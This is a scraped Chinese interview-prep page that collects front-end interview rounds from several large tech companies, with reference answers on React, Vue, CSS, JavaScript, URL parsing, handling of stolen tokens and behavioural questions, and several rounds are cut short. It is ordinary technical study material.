帧率同步	与显示器刷新率同步，平滑动画	不保证同步，可能导致跳帧
性能优化	后台标签页自动暂停，节约资源	即使后台也运行，浪费性能
视觉效果	减少撕裂，动画更流畅	易出现撕裂和卡顿

10. 在布局（Layout）和绘制（Paint）阶段，浏览器如何避免不必要的重排（Reflow）和重绘（Repaint）

题目要点

明确重排与重绘的区别和性能影响
介绍浏览器批量更新、延迟计算和图层合成机制
结合实例说明如何避免强制同步布局
总结开发中避免不必要重排重绘的具体技巧和建议

参考答案

考察点

● 理解重排和重绘的区别及性能影响

考察对浏览器渲染优化关键环节的掌握。

字节-商业化-社招-4年 · 第 1 轮 · 一面

Sun, 27 Jul 2025 09:13:11 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 全方位解读this、作用域链与闭包、事件循环、call、apply和bind、前端存储、react hooks、react 渲染机制、React函数组件更新

本轮共 25 道题。答案默认折叠，便于先自行作答。

1. 讲一下你平常使用的React Hooks

题目要点

熟练掌握常用 Hook（useState/useEffect/useRef/useMemo/useCallback/useContext）
能结合实际项目说明每个 Hook 的使用动机和实现效果
理解 Hook 的核心机制（闭包陷阱、依赖数组规则、执行时机等）

参考答案

考察点

● 理解 React Hooks 的基本使用场景及原理

面试官关注候选人是否掌握了常用 Hook 的使用规范与时机。

● 能否结合项目实际表达 Hooks 的应用能力

考察是否具备将 React 函数组件与 Hooks 结合的实际经验与思维能力。

参考答案

一、常用 React Hooks 介绍

1. `useState` —— 管理组件内部状态

功能：定义响应式的本地状态。
典型使用场景：表单输入值、按钮开关、局部 UI 状态等。
示例：

const [count, setCount] = useState(0);

2. `useEffect` —— 副作用逻辑处理

功能：用于处理副作用逻辑，如数据请求、DOM 操作、订阅事件等。
依赖数组决定副作用执行时机。
常见场景：
- 页面初始化请求数据（空依赖数组）
- 监听某个状态变化触发逻辑（依赖项更新）
- 组件卸载时清理订阅（返回 cleanup 函数）

useEffect(() => {
 const id = setInterval(() => {
 console.log('tick');
 }, 1000);
 return () => clearInterval(id);
}, []);

3. `useRef` —— 获取 DOM 或存储跨渲染变量

功能：可以持久保存可变值而不触发组件重新渲染；或获取 DOM 元素引用。

字节-社招-1年 · 第 1 轮 · 一面

Fri, 25 Jul 2025 08:13:19 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 事件冒泡、事件捕获、事件委托、浏览器的缓存机制、组件通信、异步组件

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 实现数组里的拍平数组本身的拍平

题目要点

递归遍历数组并合并结果。
判断元素类型是否为数组。
结合ES6 flat方法提升效率。

参考答案

考察点

● 理解递归与数组操作

考察候选人对递归处理嵌套数据结构的能力。

● 掌握ES6及新特性（如flat）

能结合不同方案解决扁平化问题。

参考答案

/**
 * 递归实现数组拍平
 * @param {Array} arr - 待拍平数组，可能嵌套多层
 * @returns {Array} - 扁平后的数组
 */
function flatten(arr) {
 let result = [];
 for (const item of arr) {
 if (Array.isArray(item)) {
 result = result.concat(flatten(item));
 } else {
 result.push(item);
 }
 }
 return result;
}

或者使用ES6内置方法（只拍平一层）：

const flatOnce = arr => arr.flat();

ES2019+ 支持深度拍平：

腾讯-CDG-暑期实习 · 第 1 轮 · 一面

Fri, 25 Jul 2025 07:46:26 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮共 22 道题。答案默认折叠，便于先自行作答。

1. 编写一个函数解析URL，提取其中的协议、域名、路径和查询参数

题目要点

URL 结构 / URL API 使用 / 查询参数处理 / 错误处理

参考答案

考察点

● 理解 URL 结构及其组成部分

面试官关注候选人是否熟悉 URL 的协议（scheme）、域名（host）、路径（path）、查询参数（query）等基本组成。

● 掌握字符串处理和正则表达式技巧

是否能用合适的方法提取各部分信息。

● 能写出健壮且兼容性好的解析函数

考虑边界条件和异常输入。

参考答案

原理说明

URL 由以下几部分构成（简化版）：


协议://域名\[:端口]/路径\[?查询参数]\[#锚点]

协议（scheme）：如 http、https、ftp 等；
域名（host）：主机名或 IP 地址；
路径（path）：服务器资源路径；
查询参数（query）：key=value 形式，多个参数用 & 分隔。

解析时重点提取协议、域名、路径和查询参数。

核心代码示例（JavaScript）

function parseURL(url) {
 try {
 const urlObj = new URL(url);

 // 提取协议，去掉末尾冒号
 const protocol = urlObj.protocol.replace(':', '');

 // 域名（包含端口，如果有）
 const host = urlObj.host;

 // 路径
 const path = urlObj.pathname;

 // 查询参数转成对象
 const queryParams = {};
 urlObj.searchParams.forEach((value, key) => {
 queryParams[key] = value;
 });

 return {
 protocol,
 host,
 path,
 queryParams,
 };
 } catch (error) {
 throw new Error('Invalid URL');
 }
}

使用示例

const url = 'https://www.example.com:8080/path/to/page?name=alice&age=25';
const result = parseURL(url);
console.log(result);

/*
{
 protocol: "https",
 host: "www.example.com:8080",
 path: "/path/to/page",
 queryParams: {
 name: "alice",
 age: "25"
 }
}
*/

常见误区或面试陷阱

误区一：使用正则解析复杂 URL

正则难以覆盖各种边界情况，不建议复杂场景使用；
推荐使用浏览器内置的 URL 类。

误区二：忽略端口号

域名部分可能包含端口，直接取 hostname 会缺失端口。

误区三：查询参数未统一处理

查询参数可能重复，需根据需求选择保存方式（这里简单取最后一个值）。

总结回顾

解析 URL 推荐使用原生 URL API，简洁且兼容性好。重点提取协议、域名（含端口）、路径和查询参数，并把查询参数转换为对象方便后续使用。

腾讯-音乐 · 第 1 轮 · 二面

Fri, 25 Jul 2025 07:26:12 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 9 道题。答案默认折叠，便于先自行作答。

1. 讲一下“智慧医疗系统”项目背景、目标以及你主要负责的模块

题目要点

结合自己简历上的一个亮点项目准备

参考答案

结合自己简历上的一个亮点项目准备

2. 什么是响应式设计？响应式设计的基本原理是什么？如何进行实现？

题库原题：什么是响应式设计？响应式设计的基本原理是什么？如何进行实现？

题目要点

响应式设计（Responsive Design）是一种网页设计方法，旨在使网页在各种设备和屏幕尺寸上都能提供良好的用户体验。响应式设计通过使用流式布局、弹性网格和媒体查询，使得网页能够根据不同的设备特性（如屏幕大小、分辨率、方向等）自动调整其布局和内容。

响应式设计的基本原理

流式布局（Fluid Layouts）：
- 使用相对单位（如百分比、vw、vh）而不是绝对单位（如像素），使得网页布局能够根据容器的宽度自动调整。例如，使用百分比设置宽度，可以让列宽度随着屏幕尺寸的变化而变化。
弹性网格（Flexible Grid Systems）：
- 利用网格系统设计布局，将页面划分为多个灵活的区域。这些区域能够根据屏幕尺寸调整大小，从而实现不同设备上的适配。
媒体查询（Media Queries）：
- 使用 CSS 媒体查询，根据设备的特性（如宽度、高度、分辨率等）应用不同的样式规则。媒体查询可以针对不同的屏幕尺寸、方向（横向或纵向）等条件设置样式。

如何实现响应式设计

使用流式布局：
- 在 CSS 中使用相对单位（如 %, em, rem, vh, vw）设置宽度和高度。例如：
```
.container {
 width: 80%; /* 宽度为容器的 80% */
}
```

利用弹性网格系统：

创建一个弹性网格布局，可以使用 CSS Grid 或 Flexbox。例如，使用 Flexbox：

.container {
 display: flex;
 flex-wrap: wrap; /* 自动换行 */
}
.item {
 flex: 1 1 300px; /* 自动调整宽度，最小宽度为 300px */
 margin: 10px;
}

编写媒体查询：

腾讯-音乐 · 第 1 轮 · 一面

Fri, 25 Jul 2025 07:17:59 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

参考答案

考察点

● CSS 动画相关属性与原理掌握

面试官希望了解候选人是否掌握 CSS 动画的基本实现方式，包括 transition、animation、关键帧、补间函数等。

● 能结合项目场景举例说明

不仅要懂 API，更重要的是知道什么时候使用、为什么使用，是否有性能考量和交互体验意识。

● 对动画效果的性能与体验理解

是否清楚哪些动画对性能影响大，哪些动画适合用 CSS 实现，如何避免卡顿或丢帧。

参考答案

原理说明

一、CSS 动画的实现方式

CSS 提供了两类动画机制：

1. 过渡动画（transition）

通过 transition 属性定义在样式变更时自动补间的动画：

.button {
 transition: all 0.3s ease-in-out;
}

特点：

腾讯云-实习 · 第 1 轮 · 二面

Fri, 25 Jul 2025 05:48:41 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 二面，以实际场景、设计架构出发，考察候选人的综合知识和深度

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 描述一个你解决的复杂性能优化案例（指标提升与具体手段）

题目要点

按照START法则来讲解

参考答案

结合自身项目经历来说

2. React/Vue框架设计思想对比（如数据绑定、虚拟DOM）

题目要点

React/Vue/设计思想/双向绑定/单向数据流/虚拟DOM/Fiber/Proxy/模板编译

参考答案

一、考察点

是否理解 React 和 Vue 的设计理念与核心架构区别
是否能准确比较两者在数据绑定、组件化、更新机制上的异同
是否理解虚拟 DOM 的实现方式及两者的优化策略
是否能结合实际项目场景，选择合适的框架思路

二、参考答案

1.1 核心设计思想对比

✅ 一、框架理念对比

维度	Vue	React
核心理念	渐进式框架，关注视图层	函数式 + 声明式 UI，构建 UI 的库
学习曲线	简洁、直观、HTML+JS 分离	更偏工程化，需要理解 JSX、Hooks
模板机制	模板语法（HTML-like） + 指令（v-xxx）	使用 JSX 全部由 JS 描述 UI

✅ 二、数据绑定机制

🔹 Vue

使用响应式系统（Vue2 的 Object.defineProperty，Vue3 的 Proxy）；
支持 双向绑定（如 v-model）；
模板中变量变化会自动更新视图，开发体验友好。

🔹 React

数据是不可变状态（immutable state）；
单向数据流（父 → 子）；
利用 setState() 或 useState() 触发重新渲染；
更强调“以状态驱动视图”，需要手动绑定与更新。

✅ 三、虚拟 DOM 实现与 Diff 策略

Vue

自主构建 Virtual DOM（与模板语法结合）；
Vue2 使用双端比较 diff 算法；
Vue3 引入 静态提升 + Block Tree + 最长递增子序列（LIS），减少不必要 patch；
编译优化层更强，template 更容易静态分析。

React

以函数式组件为主，使用 JSX 构建虚拟 DOM；
使用 Fiber 架构重构更新机制，实现异步可中断渲染；
更新优先级调度（如 startTransition）是核心优势之一；
Diff 算法基于同层比较 + key 优化，机制稳定。

✅ 四、组件设计与状态管理

对比项	Vue	React
状态管理	Vuex（Vue2） / Pinia（Vue3）	Redux / Context API / Zustand 等
生命周期	Options API（Vue2）/ Composition API（Vue3）	类组件生命周期 / 函数组件 Hooks
组件通信	props / emit / provide/inject	props / context / props drilling

3. React Hooks闭包陷阱的产生原因？

题目要点

React Hooks/闭包陷阱/useEffect/useRef/setInterval/函数式更新/stale closure

腾讯云-实习 · 第 1 轮 · 一面

Fri, 25 Jul 2025 02:54:17 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 一面，更多考察的是八股文的基础知识

本轮共 20 道题。答案默认折叠，便于先自行作答。

1. 什么是 HTML 语义化？

题库原题：什么是 HTML 语义化？

题目要点

先看下什么是HTML：

参考答案

先看下什么是HTML：

超文本标记语言（英语：HyperText Markup Language，简称：HTML）是一种用于创建网页的标准标记语言。 HTML元素是构建网站的基石。HTML允许嵌入图像与对象，并且可以用于创建交互式表单，它被用来结构化信息——例如标题、段落和列表等等，也可用来在一定程度上描述文档的外观和语义。

那么如何理解 Web 语义化？

通俗的来讲就是从代码上来展示页面的结构，而不是从最终视觉上来展示结构。

单纯的HTML代码是不带任何样式的只是用来标记这一段是标题、这一块是代码、那一个是要强调的内容等等。

但是为什么我们只写HTML在浏览器中不同的标签也是有不同的样式呢？

那是因为各个浏览器都自带的有相应标签的默认样式，为了方便在没有设定样式的情况下友好的展示页面。

良好的语义化代码可以直接从代码上就能看出来那一块到底是要表达什么内容。

为什么要使用语义化标签？

有伙伴会认为，我用DIV+CSS也能做出来一样的效果，虽然单纯看实现效果，两者并没有什么区别。

但是页面不止是给人看的，机器也要看爬虫也要看，网页结构更清晰方便开发维护。

特别是在网络或其他原因页面样式文件丢失的时候，良好语义结构组成的页面，肯定比全是div的页面对用户更友好。

总结下语义化的优点：

标签语义化有助于构架良好的HTML结构，有利于搜索引擎的建立索引、抓取。简单来说。
有利于不同设备的解析（屏幕阅读器，盲人阅读器等）
有利于构建清晰的机构，有利于团队的开发、维护

2. CSS盒模型、Flex布局与Grid布局的区别及适用场景

题目要点

CSS盒模型/box-sizing/Flex布局/Grid布局/一维 vs 二维/布局适用场景/页面结构设计

参考答案

一、考察点

是否掌握 CSS 中盒模型的基本概念及布局行为
Flex 与 Grid 的本质区别及使用场景是否清晰
能否结合实际 UI 场景选择最合适的布局方式
是否理解布局系统与页面结构解耦的设计思想

二、参考答案

1.1 原理说明

✅ 一、CSS 盒模型（Box Model）

定义：所有 HTML 元素都可以看作一个矩形盒子，由以下四层组成：

百度-百度云-校招 · 第 1 轮 · 一面

Thu, 24 Jul 2025 15:06:51 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本轮面试注重基础知识的掌握与表达，涵盖了前端语言、框架原理、计算机基础、网络协议、数据库设计、加密安全等内容，兼顾技术深度与广度。

本轮共 16 道题。答案默认折叠，便于先自行作答。

1. 面向对象和面向程序设计的主要区别

题目要点

面向过程以过程为中心，强调顺序执行逻辑，适合小型程序；

参考答案

面向过程以过程为中心，强调顺序执行逻辑，适合小型程序；
面向对象以对象和行为抽象为中心，强调封装、继承、多态，适合复杂系统的可维护性与复用性设计。

2. 面向对象的三大特性

题目要点

封装隐藏内部实现、继承提高复用性、多态通过统一接口实现行为差异，三者是构建大型系统的基础。

参考答案

封装隐藏内部实现、继承提高复用性、多态通过统一接口实现行为差异，三者是构建大型系统的基础。

3. 开发的过程中你用到过哪些设计模式？

题库原题：开发的过程中你用到过哪些设计模式？

题目要点

设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。

参考答案

设计模式是一种被广泛接受并经过验证的面向对象软件开发中的最佳实践。它们提供了一套解决常见问题的可重用设计方案。

以下是一些常用的设计模式：

单例模式（Singleton）：确保一个类只有一个实例，并提供全局访问点来获取该实例。
工厂模式（Factory）：通过工厂方法创建对象，而不是直接使用new操作符。这样可以隐藏具体实现，并根据需要创建所需类型的对象。
观察者模式（Observer）：定义了一种一对多的依赖关系，当一个对象状态发生改变时，它的所有依赖者（观察者）都会收到通知并自动更新。
装饰器模式（Decorator）：动态地将责任附加到对象上。通过将对象包装在装饰器对象中，可以在运行时为对象添加新的行为。
策略模式（Strategy）：定义了一系列算法，将每个算法封装起来并使它们可以相互替换。策略模式可以让算法独立于客户端而变化。
适配器模式（Adapter）：将一个类的接口转换成客户端所期望的另一个接口。适配器模式使得原本由于接口不匹配而无法一起工作的类可以协同工作。

每个设计模式都有其特定的应用场景和优缺点，可以根据具体情况来选择使用。设计模式可以提高代码结构的灵活性、可维护性和可扩展性，并促进重用和解耦。然而，需要根据实际需求慎重选择和应用设计模式，避免过度设计或不必要的复杂性。

4. JavaScript 中引用数据类型和基本数据类型

题目要点

基本类型包括 Number、String 等，按值传递；引用类型如 Object、Array 按地址传递，赋值为浅拷贝。

参考答案

基本类型包括 Number、String 等，按值传递；引用类型如 Object、Array 按地址传递，赋值为浅拷贝。

5. 谈谈对Vue中双向绑定的理解

题库原题：谈谈对Vue中双向绑定的理解

题目要点

Vue中的双向绑定是其核心特性之一，它极大地简化了数据在视图（View）和模型（Model）之间的同步过程。双向绑定意味着当数据发生变化时，视图会自动更新以反映这些变化，反之亦然，用户在视图上的操作（如输入）也会自动更新到数据中。

实现原理

Vue的双向绑定主要依赖于其响应式系统（Reactivity System）和模板引擎（Template Engine）。

响应式系统：Vue使用Object.defineProperty（在Vue 3中使用了Proxy）来劫持（或说“代理”）对象的getter和setter。当组件的data中的属性被访问或修改时，Vue会拦截这些操作，并执行相应的依赖更新逻辑。这样，Vue就能追踪到数据的变化，并在需要时更新视图。
模板引擎：Vue的模板引擎使用基于HTML的模板语法，允许开发者声明式地将DOM绑定到底层Vue实例的数据上。当数据变化时，Vue的模板引擎会重新渲染模板，生成新的虚拟DOM树，并通过高效的DOM diff算法更新真实的DOM，以反映数据的最新状态。

参考答案

一、什么是双向绑定

我们先从单向绑定切入单向绑定非常简单，就是把Model绑定到View，当我们用JavaScript代码更新Model时，View就会自动更新双向绑定就很容易联想到了，在单向绑定的基础上，用户更新了View，Model的数据也自动被更新了，这种情况就是双向绑定举个栗子

百度-百度云-校招 · 第 1 轮 · 三面

Thu, 24 Jul 2025 15:06:51 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 三面偏重项目经历、思维深度与工程解决方案，兼顾产品理解与算法能力。

本轮共 6 道题。答案默认折叠，便于先自行作答。

1. 讲一下之前的实习经历，主要负责什么工作，你们团队是做什么的？

题目要点

在回答实习经历时，可以遵循： “团队是做什么的 → 自己负责了什么 → 过程中遇到的挑战 → 最终的结果和成长”。这样既能让面试官清楚地看到候选人的贡献，也能体现出对团队目标的理解和自身成长路径的清晰度。

要不要我帮你准备几个可直接套用的实习经历表述范例，比如业务团队和前端基础设施团队两个版本？

参考答案

这个问题本质上考察的是候选人能否清晰表达实习经历的价值，以及是否能将个人的工作与团队目标联系起来。回答时既要避免流水账式的叙述，也要避免过度拔高，而是重点体现做过什么、为什么做、产生了什么影响。

回答思路

1. 团队定位与职责

先交代团队是做什么的，比如：

是否负责某条具体业务线（例如地图、金融、电商、内容平台）；
是否是基础架构团队（组件库、工程化平台、性能优化、监控体系）；
团队的核心目标是什么（提升用户体验、提升研发效率、支撑业务增长）。

这样能让面试官快速理解环境。

2. 个人负责的工作

描述时可以抓住几个关键词：

核心任务：负责开发某个功能模块、参与前端组件封装、接入监控埋点、优化性能等；
协作方式：是否需要和后端、测试、设计配合，是否参与需求评审或接口联调；
挑战与亮点：是否遇到过性能瓶颈、复杂交互、数据量大等问题，是否提出了改进方案。

避免简单说“写页面、改 bug”，而是强调“通过实现某个功能/优化某处性能，解决了某类问题”。

3. 收获与成长

最后点出在实习期间的成长：

是否熟悉了前端项目的完整研发流程（需求 → 开发 → 测试 → 上线 → 复盘）；
是否积累了在团队协作、代码规范、工程化工具上的经验；
是否提升了技术能力，比如掌握了某些框架或优化手段。

2. 在工作中遇到过什么问题，是怎么解决的？

题目要点

这个问题的最佳回答路径是： “提出一个具体问题 → 说明如何分析定位 → 阐述解决过程和思考 → 总结结果和反思”。重点不是问题有多难，而是展现出遇事冷静分析、推动落地并能沉淀经验的能力。

要不要我帮你列几个可以直接在面试里使用的典型案例场景，比如“性能优化”、“构建优化”、“协作问题”三类？

参考答案

这个问题考察的是候选人的问题意识、分析能力、解决路径和复盘能力。面试官关注的不是问题本身多么“高大上”，而是能否体现出逻辑清晰、方案合理、结果正向。

百度-百度云-校招 · 第 1 轮 · 二面

Thu, 24 Jul 2025 15:06:51 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

参考答案

输出 [0, 2, 4, 6, 8]。构造一个长度为 5 的数组，并通过索引乘以 2 填充。

美团-优选-校招 · 第 1 轮 · 一面

Tue, 22 Jul 2025 09:24:00 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本次面试主要考察前端基础知识、项目经验以及问题解决能力。

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 介绍一下你参与过的一个重要项目，包括项目背景、目标、技术栈以及你的角色和主要职责。

题目要点

该题是主观型问题，没有唯一标准答案。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
建议答题结构：首先概括项目，然后详细阐述项目背景、目标、技术栈，最后具体说明个人角色、职责与贡献。

参考答案

我的一个重要项目是"企业级智能客服系统前端优化与重构"。这个项目主要目标是提升现有客服系统的用户体验和性能，解决老旧技术栈带来的开发维护效率低下问题，并支持后续功能迭代。

项目背景是，公司原有的客服系统基于jQuery和少量原生JS开发，代码耦合度高，组件复用性差，加载速度慢，且难以适应移动端多渠道接入的需求。用户反馈系统卡顿、响应慢，客服人员操作效率受影响。因此，我们团队决定对前端进行一次彻底的优化与重构，旨在将其升级为一套现代化、高性能、易于扩展的Web应用。

我在这个项目中担任核心前端开发，主要职责包括：参与技术选型与架构设计讨论；负责核心模块（如聊天窗口、工单管理、智能问答）的组件化开发和性能优化；协调前后端接口联调；编写单元测试和端到端测试；以及进行线上问题的快速响应和修复。在技术栈上，我们选择了React作为主框架，配合TypeScript进行类型管理，使用Redux进行状态管理，Webpack进行模块打包，并引入Ant Design作为UI组件库，以加速开发效率并保证UI一致性。

具体来说，我主导了聊天模块的重构，将其从原来复杂的DOM操作和回调函数地狱，改造为基于React组件和Hooks的声明式UI。通过引入虚拟列表技术，解决了海量消息导致页面卡顿的问题，使得聊天记录即使达到上万条也能保持流畅滚动。此外，我还优化了消息发送机制，利用WebSocket实现了实时消息推送，减少了轮询开销。在性能方面，通过代码分割、图片懒加载等手段，将首屏加载时间从原来的8秒优化到2秒以内。整个重构过程不仅提升了系统的稳定性和用户满意度，也大大降低了后续功能开发的门槛和时间成本，为团队技术栈升级和业务发展奠定了坚实基础。

2. 在项目中，有没有遇到过什么技术难题？你是如何解决的？

题目要点

该题是主观型问题，没有唯一标准答案。
面试官主要考察答题者的技术深度、问题解决能力、逻辑思维和学习能力。
建议答题结构：首先描述一个具体的技术难题，然后阐述你分析问题、寻找解决方案的过程，最后说明解决方案的细节、效果和你的思考。

参考答案

在之前负责的"企业级智能客服系统前端优化与重构"项目中，我们遇到了一个比较棘手的技术难题，就是前端内存占用过高导致页面卡顿和崩溃的问题。

这个系统有一个核心功能是聊天记录展示，用户可能会长时间使用，导致累积大量消息。最初的版本，每条消息都是一个独立的DOM节点，当消息数量达到几千甚至上万条时，DOM节点数量急剧增加，导致浏览器内存占用飙升，页面滚动变得非常卡顿，甚至在一些配置较低的设备上直接崩溃。用户反馈非常强烈，严重影响了客服人员的工作效率。

为了解决这个问题，我首先进行了性能分析，通过Chrome开发者工具的Performance和Memory面板，确认了是DOM节点过多和重复渲染导致的内存泄漏和性能瓶颈。随后，我开始研究前端长列表的优化方案，主要考察了**虚拟列表（Virtual List）**技术。虚拟列表的核心思想是只渲染可视区域内的DOM元素，非可视区域的元素进行回收复用，从而大大减少DOM数量。

具体实施时，我引入了一个成熟的虚拟列表库，并根据项目需求对其进行了定制化开发。首先，需要计算每个列表项的动态高度，因为消息内容可能长短不一，包含图片、表情等不同元素。我采用了一种策略：在首次渲染时估算高度，并在图片加载完成后或内容变化时动态调整。其次，我设计了"缓冲区域"，即在可视区域上下各多渲染一定数量的元素，以保证用户快速滚动时的流畅体验，避免出现白屏。最后，我优化了数据加载逻辑，当用户滚动到列表底部时，只加载下一页数据并追加到虚拟列表的数据源中，而不是重新渲染整个列表。

通过实施虚拟列表，我们将聊天窗口的DOM节点数量从数万个降低到稳定在几十个到一百个之间，极大地减少了内存占用。实际测试显示，即使加载十万条消息，页面也能保持流畅滚动，响应速度显著提升。这个方案不仅解决了当前的性能痛点，也为系统后续的消息富文本支持、历史记录加载等复杂功能提供了坚实的基础，避免了未来可能出现的类似问题。整个过程中，我学到了如何深入分析前端性能瓶颈，以及如何选择和应用合适的优化技术来解决实际问题。

3. 如果项目中的 token 被窃取了，你会采取哪些措施来应对？

题目要点

该题是主观型问题，没有唯一标准答案。
面试官主要考察答题者对安全问题的认知、应急响应能力和系统性思考。
建议答题结构：首先说明 token 被窃取的危害，然后从"发现-应对-预防"三个层面阐述具体措施，最后强调持续安全防护的重要性。

参考答案

当项目中的 token 被窃取，这无疑是一个严重的安全事件，因为它可能导致用户身份被冒用，数据泄露，甚至对系统造成进一步的破坏。我的应对措施会从紧急响应、事后恢复和长期预防三个层面展开。

首先是紧急响应和止损。 一旦发现 token 存在被窃取的风险或已确认被窃取，最核心的措施是立即强制所有用户的 token 失效或重置。这可以通过后端来实现，比如在数据库中将相关 token 标记为无效，或者更新用户会话状态，迫使其重新登录。同时，我会立即通知受影响的用户（如果可以定位到），告知他们 token 失效并要求重新登录，并建议他们检查个人信息是否有异常。在此期间，还需要暂停或限制可疑IP地址或异常行为的访问，以阻止攻击的进一步扩散。例如，如果发现某个账号在短时间内有大量异常登录尝试或数据请求，应立即锁定该账号并通知用户。

其次是事后恢复与溯源。 在完成紧急止损后，需要立即展开详细的调查和分析，以确定 token 是如何被窃取的，攻击的范围有多大，以及是否有数据泄露或系统被篡改的证据。这包括：

日志分析：仔细检查服务器访问日志、应用日志和安全日志，查找异常的登录行为、API调用、IP地址或用户代理信息。重点关注 token 签发、刷新和验证的日志。
代码审计：对可能存在安全漏洞的代码进行审查，例如是否存在XSS漏洞导致前端窃取，或者后端存储、传输 token 的方式是否安全。
用户影响评估：评估有多少用户受到影响，以及可能泄露了哪些数据。根据评估结果，制定更详细的恢复计划，例如是否需要回滚某些操作，或者向受影响用户提供进一步的帮助。

最后是长期预防措施。 针对这次事件暴露出的问题，我们需要采取一系列措施来增强系统的整体安全性，防止类似事件再次发生：

美团-优选-校招 · 第 1 轮 · 二面

Tue, 22 Jul 2025 09:24:00 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 16 道题。答案默认折叠，便于先自行作答。

1. 为什么大二就开始实习呢？当时是怎么考虑的？

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
答题结构建议：首先说明实习的初衷和驱动力，然后结合个人成长和职业规划阐述实习带来的收获和影响，最后可以适当提及对未来发展的思考。

参考答案

其实，我选择在大二就开始实习，主要是出于对前端开发浓厚的热情和对实践经验的渴望。当时在学校学习理论知识时，我逐渐意识到，真正的项目开发与课堂学习存在很大差异。我非常希望能够尽早接触到真实的项目环境，了解企业级开发的流程、规范以及团队协作的方式。

我的考虑是多方面的。首先，我想通过实习来验证自己所学知识的实用性，并在实际工作中发现自身的不足，从而有针对性地提升技能。其次，我相信尽早融入职场能够帮助我更好地理解行业需求，明确未来的职业发展方向。例如，在第一个实习项目中，我参与了一个电商后台管理系统的开发，亲身体验了从需求分析到功能上线的全过程，这让我对前端开发的整体链路有了更深刻的理解，也意识到代码质量、模块化和组件化在大型项目中的重要性。这段经历不仅提升了我的编码能力，也让我学会了如何与产品、设计、后端团队高效沟通协作。可以说，大二的实习对我而言是一个非常重要的转折点，它让我更早地将理论与实践结合，为后续的学习和职业发展打下了坚实的基础。

2. 在实习过程中，有没有发现自己对前端的理解和之前在学校学习时有什么不同？

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
答题结构建议：从理论与实践、个人能力成长、团队协作与项目流程、以及对行业理解等几个方面进行对比和阐述。

参考答案

在实习过程中，我对前端的理解确实发生了很大的转变，与之前在学校学习时有了显著的不同。在学校，我们更多地关注理论知识、算法和数据结构，以及一些基础框架的用法，代码往往是为了实现某个功能点而存在，相对独立且注重单一技术点的掌握。比如，我们可能会花很多时间去学习React的生命周期、Redux的状态管理原理，但很少有机会将其应用到真实的、复杂的业务场景中。

然而，实习让我意识到，前端开发远不止写代码那么简单。首先，理论与实践的差异：在实际项目中，需要考虑的不仅仅是技术实现，更要关注业务需求、用户体验、性能优化、代码可维护性等多个维度。我学到，一个"好"的解决方案，不仅要能跑，还要易于维护、易于扩展。例如，在学校里写组件可能只关注功能实现，但在实习中我学会了如何设计可复用、可配置的通用组件，并考虑其在不同业务场景下的兼容性。其次，团队协作与项目流程的重要性远超我的预期。在学校，我们更多是独立完成作业，而在公司，一个项目是多人协作的成果，需要频繁地与产品经理沟通需求，与设计师确认交互，与后端工程师对接接口。我学会了如何通过Code Review、Git工作流来保证团队代码质量和开发效率。

最后，我对前端的广度和深度有了更全面的认知。之前可能觉得前端就是"写页面"，现在才发现它涉及性能优化、跨端开发、工程化、自动化测试、前端安全等诸多领域。实习让我从一个"代码实现者"逐渐向一个"问题解决者"转变，开始更系统地思考如何构建一个高质量、高效率、可持续迭代的前端应用。这让我更加明确了未来学习和发展的方向，也激发了我对前端技术更深层次探索的兴趣。

3. 为什么选择前端开发这个方向？

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
答题结构建议：可以从个人兴趣、行业前景、技术特性、以及早期学习或项目经历等方面切入，阐述选择前端的理由。

参考答案

我选择前端开发这个方向，主要是基于多方面的考虑和个人兴趣的驱动。最初接触编程时，我被前端所能实现的直观、可见的用户界面深深吸引。相对于后端更偏向逻辑和数据处理，前端能够将代码立即转化为用户可以直接交互和感知的视觉呈现，这种即时反馈的成就感对我来说非常重要。我喜欢通过自己的代码，让用户能够流畅、舒适地使用产品，并从中获得良好的体验。

其次，前端技术栈的快速发展和广阔的行业前景也是吸引我的重要因素。Web技术日新月异，不断有新的框架、工具和解决方案涌现，这让我觉得前端是一个充满活力和挑战的领域，能够持续学习和成长。从最早的jQuery到现在的React、Vue，再到小程序、跨端框架，前端的应用场景越来越丰富，这让我看到了前端工程师在未来技术发展中的巨大潜力。

此外，在校期间的一些项目经历也进一步坚定了我选择前端的决心。我曾参与开发过一个校园二手交易平台，从零开始搭建前端界面，设计用户交互流程，并解决了一系列兼容性、性能优化等问题。在这个过程中，我不仅提升了技术能力，更重要的是，我从中找到了解决问题的乐趣和创造的成就感。我喜欢与设计师、产品经理沟通，将抽象的需求转化为具体、友好的用户界面，这种跨领域的协作也让我觉得前端工作充满了挑战性和趣味性。综合这些因素，我坚信前端开发是一个既能发挥我兴趣特长，又能持续学习和成长的理想方向。

4. 学前端大概有多久了？之前是否有接触过其他编程语言？

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
答题结构建议：首先说明学习前端的时长，然后提及之前接触过的其他编程语言及其对前端学习的帮助，最后可以突出自己持续学习的能力。

参考答案

